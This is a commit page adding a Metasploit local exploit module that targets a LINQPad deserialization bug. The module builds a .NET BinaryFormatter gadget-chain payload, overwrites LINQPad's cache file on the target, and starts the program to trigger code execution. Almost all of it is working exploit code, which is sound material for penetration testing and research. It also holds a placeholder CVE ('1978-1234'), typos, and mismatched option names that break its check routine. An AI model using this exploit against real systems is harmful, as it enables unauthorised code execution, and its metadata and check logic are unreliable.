Skip to content

Commit 93c2360

Browse files
committed
Renaming module to persistence module instead
1 parent 058e7be commit 93c2360

File tree

1 file changed

+85
-0
lines changed

1 file changed

+85
-0
lines changed
Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
8+
9+
# includes file?, directory?
10+
include Msf::Post::File
11+
12+
# includes generate
13+
include Msf::Util::DotNetDeserialization
14+
15+
def initialize(info = {})
16+
super(
17+
update_info(
18+
info,
19+
# The Name should be just like the line of a Git commit - software name,
20+
# vuln type, class. Preferably apply
21+
# some search optimization so people can actually find the module.
22+
# We encourage consistency between module name and file name.
23+
'Name' => 'LINQPad Deserialization Exploit',
24+
'Description' => %q{
25+
This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' => [
29+
'msutovsky-r7 <[email protected]>',
30+
'James Williams' # original research
31+
],
32+
'Platform' => 'win',
33+
'SessionTypes' => [ 'shell', 'meterpreter' ],
34+
'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]],
35+
# 'Privileged' => true,
36+
'References' => [
37+
[ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'],
38+
[ 'CVE', '1978-1234']
39+
],
40+
'DisclosureDate' => '2024-12-03',
41+
'DefaultTarget' => 0,
42+
# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html
43+
'Notes' => {
44+
'Stability' => [CRASH_SAFE],
45+
'Reliability' => [REPEATABLE_SESSION],
46+
'SideEffects' => [ARTIFACTS_ON_DISK]
47+
}
48+
)
49+
)
50+
register_options([
51+
OptString.new('LINQPad_path', [true, "Path to LINQPad executable on target's machine", "C:\Users\ms\AppData\Local\LINQPad"]),
52+
OptString.new('Cache_path', [true, 'Path to cache file directory containing deserialized data'])
53+
])
54+
end
55+
56+
# Simplify pulling the writable directory variable
57+
58+
def check
59+
if datastore['LINQPad_path'].blank? || !file?(datastore['LINQPad_path'])
60+
return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist')
61+
elsif datastore['Cache_path'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
62+
return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist')
63+
elsif !file?(datastore['cache_path'] + '/autorefcache46.1.dat')
64+
return Exploit::CheckCode::Unknown('Cannot find cache file')
65+
elsif file?(datastore['cache_path'] + '/autorefcache46.2.dat')
66+
return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad')
67+
else
68+
return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable')
69+
end
70+
end
71+
72+
def exploit
73+
# generate payload
74+
dotnet_payload = ::Msf::Util::DotNetDeserialization.generate(
75+
payload.encoded, # this is the Operating System command to run
76+
gadget_chain: :TextFormattingRunProperties,
77+
formatter: :BinaryFormatter
78+
)
79+
# try to overwrite cache file
80+
fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['Cache_path'] + '/AutoRefCache46.1.dat', dotnet_payload)
81+
82+
# run LINQPad and trigger deserialization
83+
fail_with(Failure::PayloadFailed, 'Running LINQPad failed') unless cmd_exec(datastore['LINQPad_path'])
84+
end
85+
end

0 commit comments

Comments
 (0)